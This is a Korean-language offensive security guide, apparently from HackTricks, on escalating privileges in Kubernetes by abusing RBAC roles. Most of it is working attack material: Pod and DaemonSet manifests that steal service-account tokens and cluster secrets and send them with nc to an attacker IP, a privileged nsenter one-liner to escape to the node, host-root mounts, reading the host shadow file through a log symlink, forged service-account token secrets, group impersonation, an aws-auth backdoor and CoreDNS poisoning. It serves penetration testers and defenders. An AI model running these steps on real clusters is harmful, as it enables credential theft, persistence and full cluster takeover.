Kubernetes에서 Roles/ClusterRoles 악용하기

Reading time: 25 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

여기에서 잠재적으로 위험한 Roles 및 ClusterRoles 구성을 찾을 수 있습니다.
kubectl api-resources를 사용하여 지원되는 모든 리소스를 얻을 수 있다는 점을 기억하세요.

권한 상승

클러스터 내에서 다른 권한을 가진 다른 주체에 대한 접근을 얻는 기술을 의미하며 (kubernetes 클러스터 내 또는 외부 클라우드에 대해) Kubernetes에서는 기본적으로 권한을 상승시키기 위한 4가지 주요 기술이 있습니다:

  • Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 다른 사용자/그룹/SA를 가장할 수 있는 능력
  • Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 SA를 찾거나 연결할 수 있는 pod를 생성/패치/실행할 수 있는 능력
  • SA의 토큰이 비밀로 저장되므로 비밀을 읽을 수 있는 능력
  • 컨테이너에서 노드로 탈출할 수 있는 능력, 여기서 노드에서 실행 중인 컨테이너의 모든 비밀, 노드의 자격 증명 및 클라우드 내에서 실행 중인 노드의 권한을 훔칠 수 있습니다 (있는 경우)
  • 언급할 가치가 있는 다섯 번째 기술은 pod에서 포트 포워드를 실행할 수 있는 능력으로, 해당 pod 내의 흥미로운 리소스에 접근할 수 있을 수 있습니다.

모든 리소스 또는 동사에 접근하기 (와일드카드)

와일드카드 (*)는 모든 동사로 모든 리소스에 대한 권한을 부여합니다. 이는 관리자에 의해 사용됩니다. ClusterRole 내에서 이는 공격자가 클러스터의 anynamespace를 악용할 수 있음을 의미합니다.

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

특정 동사로 모든 리소스에 접근하기

RBAC에서 특정 권한은 상당한 위험을 초래합니다:

  1. create: 모든 클러스터 리소스를 생성할 수 있는 권한을 부여하여 권한 상승의 위험을 초래합니다.
  2. list: 모든 리소스를 나열할 수 있어 민감한 데이터가 유출될 수 있습니다.
  3. get: 서비스 계정의 비밀에 접근할 수 있는 권한을 부여하여 보안 위협을 초래합니다.
yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

권한이 있는 공격자는 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 이는 효과적으로 권한 상승을 의미합니다.

bootstrap-signer 서비스 계정의 토큰을 훔쳐 공격자에게 전송하는 포드의 예:

yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod 생성 및 탈출

다음은 컨테이너가 가질 수 있는 모든 권한을 나타냅니다:

  • 특권 액세스 (보호 기능 비활성화 및 기능 설정)
  • hostIPC 및 hostPid 네임스페이스 비활성화 권한 상승에 도움이 될 수 있음
  • hostNetwork 네임스페이스 비활성화, 노드의 클라우드 권한을 훔치고 네트워크에 더 나은 접근을 제공
  • 호스트를 컨테이너 내부에 마운트
super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

다음과 같이 포드를 생성합니다:

bash
kubectl --token $token create -f mount_root.yaml

한 줄 요약: 이 트윗에서 가져온 내용과 몇 가지 추가 사항:

bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

이제 노드로 탈출할 수 있으므로, 포스트 익스플로잇 기술을 확인하세요:

Stealth

아마도 은밀함을 원할 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 생성할 수 있는 포드에 접근할 수 있는 내용을 확인할 수 있습니다:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

이전의 특권 포드 구성을 생성/악용하는 방법의 예는 https://github.com/BishopFox/badPods 에서 확인할 수 있습니다.

Pod Create - Move to cloud

포드(선택적으로 서비스 계정)를 생성할 수 있다면, 포드 또는 서비스 계정에 클라우드 역할을 할당하여 클라우드 환경에서 권한을 얻을 수 있습니다.
또한, 호스트 네트워크 네임스페이스포드를 생성할 수 있다면, 노드 인스턴스의 IAM 역할을 탈취할 수 있습니다.

자세한 내용은 다음을 확인하세요:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

이 권한을 악용하여 새 포드생성하고 이전 예와 같이 권한을 확립할 수 있습니다.

다음 yaml은 데몬셋을 생성하고 포드 내의 SA 토큰을 유출합니다:

yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

**pods/exec**는 포드 내에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스입니다. 이를 통해 컨테이너 내에서 명령을 실행하거나 셸에 들어갈 수 있습니다.

따라서 포드에 들어가 SA의 토큰을 훔치거나, 특권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 (악용)할 수 있습니다:

bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

note

기본적으로 명령은 포드의 첫 번째 컨테이너에서 실행됩니다. kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'를 사용하여 컨테이너의 모든 포드를 가져온 다음, kubectl exec -it <pod_name> -c <container_name> -- sh를 사용하여 실행할 컨테이너를 지정합니다.

만약 그것이 distroless 컨테이너라면, shell builtins를 사용하여 컨테이너 정보를 얻거나 busybox와 같은 도구를 업로드할 수 있습니다: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

이 권한은 하나의 로컬 포트를 지정된 포드의 하나의 포트로 포워딩할 수 있게 해줍니다. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 접근할 수 있습니다.

bash
kubectl port-forward pod/mypod 5000:5000

호스트의 쓰기 가능한 /var/log/ 탈출

이 연구에서 언급된 바와 같이, 호스트의 /var/log/ 디렉토리가 마운트된 포드에 접근하거나 생성할 수 있다면, 컨테이너에서 탈출할 수 있습니다.
이는 기본적으로 Kube-API가 컨테이너의 로그를 가져오려고 할 때 (kubectl logs <pod> 사용) 포드의 0.log 파일을 Kubelet 서비스의 /logs/ 엔드포인트를 사용하여 요청하기 때문입니다.
Kubelet 서비스는 기본적으로 컨테이너의 /var/log 파일 시스템을 노출하는 /logs/ 엔드포인트를 노출합니다.

따라서 컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는 공격자는 이 행동을 두 가지 방법으로 악용할 수 있습니다:

  • 컨테이너의 0.log 파일을 수정하여 (보통 /var/logs/pods/namespace_pod_uid/container/0.log에 위치) 예를 들어 /etc/shadow를 가리키는 심볼릭 링크로 만들 수 있습니다. 그러면 다음과 같이 호스트의 shadow 파일을 유출할 수 있습니다:
bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 공격자가 nodes/log를 읽을 수 있는 권한을 가진 주체를 제어하는 경우, 그는 /host-mounted/var/log/sym/에 대한 symlink를 생성할 수 있으며, https://<gateway>:10250/logs/sym/에 접근할 때 호스트의 루트 파일 시스템을 나열할 수 있습니다 (symlink를 변경하면 파일에 대한 접근을 제공할 수 있습니다).
bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

실험실 및 자동화된 익스플로잇은 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts에서 찾을 수 있습니다.

readOnly 보호 우회

운이 좋다면, 고급 권한을 가진 CAP_SYS_ADMIN 기능이 사용 가능할 때, 폴더를 rw로 다시 마운트할 수 있습니다:

bash
mount -o rw,remount /hostlogs/

hostPath readOnly 보호 우회

이 연구에서 언급된 바와 같이, 보호를 우회하는 것이 가능합니다:

yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

이전과 같은 탈출을 방지하기 위해, hostPath 마운트를 사용하는 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 컨테이너에 쓰기 가능한 접근 권한으로 호스트 폴더를 마운트하는 것이 었습니다:

yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

특권 계정 가장하기

사용자 가장하기 권한을 사용하면 공격자가 특권 계정을 가장할 수 있습니다.

kubectl 명령에서 --as=<username> 매개변수를 사용하여 사용자를 가장하거나, --as-group=<group>을 사용하여 그룹을 가장하십시오:

bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

또는 REST API를 사용하세요:

bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

비밀 목록을 나열할 수 있는 권한은 공격자가 REST API 엔드포인트에 접근하여 비밀을 실제로 읽을 수 있게 할 수 있습니다:

bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Creating and Reading Secrets

Kubernetes의 kubernetes.io/service-account-token 유형의 비밀은 serviceaccount 토큰을 저장하는 특별한 종류의 비밀입니다. 비밀을 생성하고 읽을 수 있는 권한이 있고, serviceaccount의 이름도 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 serviceaccount 토큰을 훔칠 수 있습니다:

yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

예시 악용:

bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

다음과 같이 특정 네임스페이스에서 비밀을 생성하고 읽을 수 있는 권한이 있는 경우, 피해자의 서비스 계정도 동일한 네임스페이스에 있어야 합니다.

비밀 읽기 – 토큰 ID 무작위 대입

읽기 권한이 있는 토큰을 소유한 공격자는 이를 사용하기 위해 비밀의 정확한 이름이 필요하지만, 더 넓은 비밀 나열 권한과는 달리 여전히 취약점이 존재합니다. 시스템의 기본 서비스 계정은 나열할 수 있으며, 각 계정은 비밀과 연결되어 있습니다. 이러한 비밀은 이름 구조가 있으며: 정적 접두사 뒤에 무작위의 다섯 자리 알파벳 숫자 토큰(특정 문자를 제외하고)이 옵니다. 소스 코드에 따르면.

토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(bcdfghjklmnpqrstvwxz2456789)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 몇 시간 내에 토큰을 추론하기 위해 무작위 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다.

EncrpytionConfiguration의 일반 텍스트

이러한 유형의 객체에서 데이터가 휴지 상태에서 암호화되는 일반 텍스트 키를 찾는 것이 가능합니다:

yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

리소스 certificatesigningrequestscreate 동사가 있으면 (또는 최소한 certificatesigningrequests/nodeClient에 있으면) 새 노드의 새로운 CeSR을 생성할 수 있습니다.

문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다, 따라서 그런 경우에는 추가 권한이 필요하지 않습니다. 그렇지 않으면 요청을 승인할 수 있어야 하며, 이는 certificatesigningrequests/approval에서 업데이트하고 signers에서 리소스 이름 <signerNameDomain>/<signerNamePath> 또는 <signerNameDomain>/*approve해야 함을 의미합니다.

필요한 모든 권한이 포함된 역할의 예는:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

새로운 노드 CSR이 승인되었으므로, 노드의 특별 권한을 악용하여 비밀을 훔치고 권한을 상승시킬 수 있습니다.

이 게시물이 게시물에서 GKE K8s TLS 부트스트랩 구성은 자동 서명으로 설정되어 있으며, 이를 악용하여 새로운 K8s 노드의 자격 증명을 생성한 다음 이를 사용하여 비밀을 훔쳐 권한을 상승시킵니다.
언급된 권한이 있다면 같은 작업을 수행할 수 있습니다. 첫 번째 예제는 새로운 노드가 컨테이너 내부의 비밀에 접근하는 것을 방지하는 오류를 우회합니다. 왜냐하면 노드는 자신에게 마운트된 컨테이너의 비밀만 접근할 수 있기 때문입니다.

이를 우회하는 방법은 흥미로운 비밀이 마운트된 컨테이너의 노드 이름에 대한 노드 자격 증명을 생성하는 것입니다(하지만 첫 번째 게시물에서 이를 수행하는 방법을 확인하세요):

bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS 클러스터의 kube-system 네임스페이스에서 **configmaps**를 수정할 수 있는 주체는 aws-auth configmap을 덮어씀으로써 클러스터 관리자 권한을 얻을 수 있습니다.
필요한 동사는 **update**와 patch, 또는 configmap이 생성되지 않은 경우 **create**입니다:

bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

warning

**aws-auth**를 사용하여 다른 계정의 사용자에게 접근 권한을 부여하여 지속성을 유지할 수 있습니다.

그러나 aws --profile other_account eks update-kubeconfig --name <cluster-name> 는 다른 계정에서 작동하지 않습니다. 하지만 실제로 aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing는 클러스터의 ARN을 이름 대신 넣으면 작동합니다.
kubectl이 작동하도록 하려면 희생자의 kubeconfig구성하고 aws exec args에 --profile other_account_role을 추가하여 kubectl이 다른 계정 프로필을 사용하여 토큰을 가져오고 AWS에 연락하도록 하십시오.

CoreDNS config map

kube-system 네임스페이스에서 coredns configmap을 수정할 수 있는 권한이 있다면, MitM 공격을 수행하여 민감한 정보를 훔치거나 악성 콘텐츠를 주입할 수 있도록 주소 도메인이 해결되는 방식을 수정할 수 있습니다.

필요한 동사는 **update**와 **patch**로 coredns configmap(또는 모든 config map)에 대해 사용됩니다.

일반적인 coredns 파일은 다음과 같은 내용을 포함합니다:

yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

공격자는 kubectl get configmap coredns -n kube-system -o yaml를 실행하여 이를 다운로드하고, rewrite name victim.com attacker.com과 같은 내용을 추가하여 victim.com에 접근할 때 실제로 attacker.com 도메인에 접근하도록 수정할 수 있습니다. 그런 다음 kubectl apply -f poison_dns.yaml를 실행하여 적용할 수 있습니다.

또 다른 옵션은 kubectl edit configmap coredns -n kube-system를 실행하여 파일을 직접 편집하고 변경하는 것입니다.

GKE에서의 권한 상승

GCP 주체에 K8s 권한을 할당하는 2가지 방법이 있습니다. 어떤 경우든 주체는 클러스터에 접근하기 위한 자격 증명을 수집할 수 있도록 container.clusters.get 권한이 필요하며, 그렇지 않으면 자신의 kubectl 구성 파일을 생성해야 합니다 (다음 링크를 따르세요).

warning

K8s API 엔드포인트와 통신할 때 GCP 인증 토큰이 전송됩니다. 그런 다음 GCP는 K8s API 엔드포인트를 통해 주체(이메일로)가 클러스터 내에서 접근할 수 있는지 먼저 확인하고, 그 다음 GCP IAM을 통해 접근할 수 있는지 확인합니다.
이 중 하나라도 참이면, 응답을 받게 됩니다. 아니면 GCP IAM을 통해 권한을 부여하라는 오류가 발생합니다.

첫 번째 방법은 GCP IAM을 사용하는 것이며, K8s 권한은 상응하는 GCP IAM 권한이 있으며, 주체가 이를 가지고 있다면 사용할 수 있습니다.

GCP - Container Privesc

두 번째 방법은 클러스터 내에서 K8s 권한을 할당하는 것으로, 사용자를 이메일로 식별합니다 (GCP 서비스 계정 포함).

서비스 계정 토큰 생성

TokenRequests (serviceaccounts/token)를 생성할 수 있는 주체는 K8s API 엔드포인트와 통신할 때 SAs (정보는 여기).

ephemeralcontainers

update 또는 patch **pods/ephemeralcontainers**를 할 수 있는 주체는 다른 pods에서 코드 실행을 얻을 수 있으며, 특권 있는 securityContext로 ephemeral container를 추가하여 노드에서 탈출할 수 있습니다.

ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations

validatingwebhookconfigurations 또는 mutatingwebhookconfigurations에 대해 create, update 또는 patch 동사를 가진 주체는 권한 상승을 위해 이러한 webhookconfigurations 중 하나를 생성할 수 있습니다.

mutatingwebhookconfigurations 예제는 이 게시물의 이 섹션을 확인하세요.

권한 상승

다음 섹션에서 읽을 수 있듯이: 내장된 권한 상승 방지, 주체는 자신이 새로운 권한을 가지지 않고는 역할이나 클러스터 역할을 업데이트하거나 생성할 수 없습니다. 단, roles 또는 **clusterroles**에 대해 escalate 또는 * 동사를 가지고 있고 해당 바인딩 옵션이 있는 경우에 한합니다.
그렇다면 그는 더 나은 권한을 가진 새로운 역할, 클러스터 역할을 업데이트/생성할 수 있습니다.

노드 프록시

nodes/proxy 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 pods에서 코드 실행을 할 수 있습니다 (정보는 이곳). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요:

Kubelet Authentication & Authorization

Kubelet API에 권한이 있는 RCE를 얻는 방법은 여기에서 확인할 수 있습니다.

pods 삭제 + 스케줄 불가능한 노드

pods를 삭제할 수 있는 주체(pods 리소스에 대한 delete 동사) 또는 pods를 퇴거할 수 있는 주체(pods/eviction 리소스에 대한 create 동사) 또는 pod 상태를 변경할 수 있는 주체(pods/status 접근)와 다른 노드를 스케줄 불가능하게 만들 수 있는 주체(nodes/status 접근) 또는 노드를 삭제할 수 있는 주체(nodes 리소스에 대한 delete 동사)와 pod에 대한 제어 권한이 있는 경우, 다른 노드에서 pods를 훔쳐 손상된 노드에서 실행되도록 할 수 있으며, 공격자는 이러한 pods에서 토큰을 훔칠 수 있습니다.

bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Services status (CVE-2020-8554)

**services/status**를 수정할 수 있는 주체는 status.loadBalancer.ingress.ip 필드를 설정하여 수정되지 않은 CVE-2020-8554를 악용하고 클러스터에 대한 MiTM 공격을 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 ExternalIP 서비스만 방지합니다 ( 참조).

Nodes and Pods status

nodes/status 또는 pods/status에 대한 update 또는 patch 권한이 있는 주체는 레이블을 수정하여 강제된 스케줄링 제약에 영향을 줄 수 있습니다.

Built-in Privileged Escalation Prevention

Kubernetes는 권한 상승을 방지하기 위한 내장 메커니즘을 가지고 있습니다.

이 시스템은 사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인가자가 비활성화되어 있을 때도 안전 장치를 제공합니다.

규칙은 사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능하다고 명시합니다. 또한, 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 제한됩니다.

warning

이전 규칙에 대한 예외가 있습니다. 주체가 roles 또는 **clusterroles**에 대해 escalate 동사를 가지고 있다면, 자신이 권한을 가지고 있지 않더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다.

Get & Patch RoleBindings/ClusterRoleBindings

caution

이 기술은 이전에 작동했지만, 내 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한이 없는 경우 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.

Rolebindings를 생성할 수 있는 권한은 사용자가 서비스 계정에 역할을 바인딩할 수 있게 합니다. 이 권한은 사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있게 하여 권한 상승으로 이어질 수 있습니다.

Other Attacks

Sidecar proxy app

기본적으로 pods 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, pod 간의 통신입니다.

Create a sidecar proxy app

사이드카 컨테이너는 pod 내부에 두 번째(또는 그 이상의) 컨테이너를 추가하는 것으로 구성됩니다.

예를 들어, 다음은 2개의 컨테이너가 있는 pod의 구성 일부입니다:

yaml
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

기존의 포드에 새로운 컨테이너로 백도어를 추가하려면 사양에 새로운 컨테이너를 추가하면 됩니다. 두 번째 컨테이너에 첫 번째 컨테이너가 가지지 않는 더 많은 권한부여할 수 있다는 점에 유의하세요.

자세한 정보는 다음을 참조하세요: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

악의적인 어드미션 컨트롤러

어드미션 컨트롤러는 객체의 지속화 전에 Kubernetes API 서버에 대한 요청을 가로챕니다, 하지만 요청이 인증되고 권한이 부여된 후에 가로챕니다.

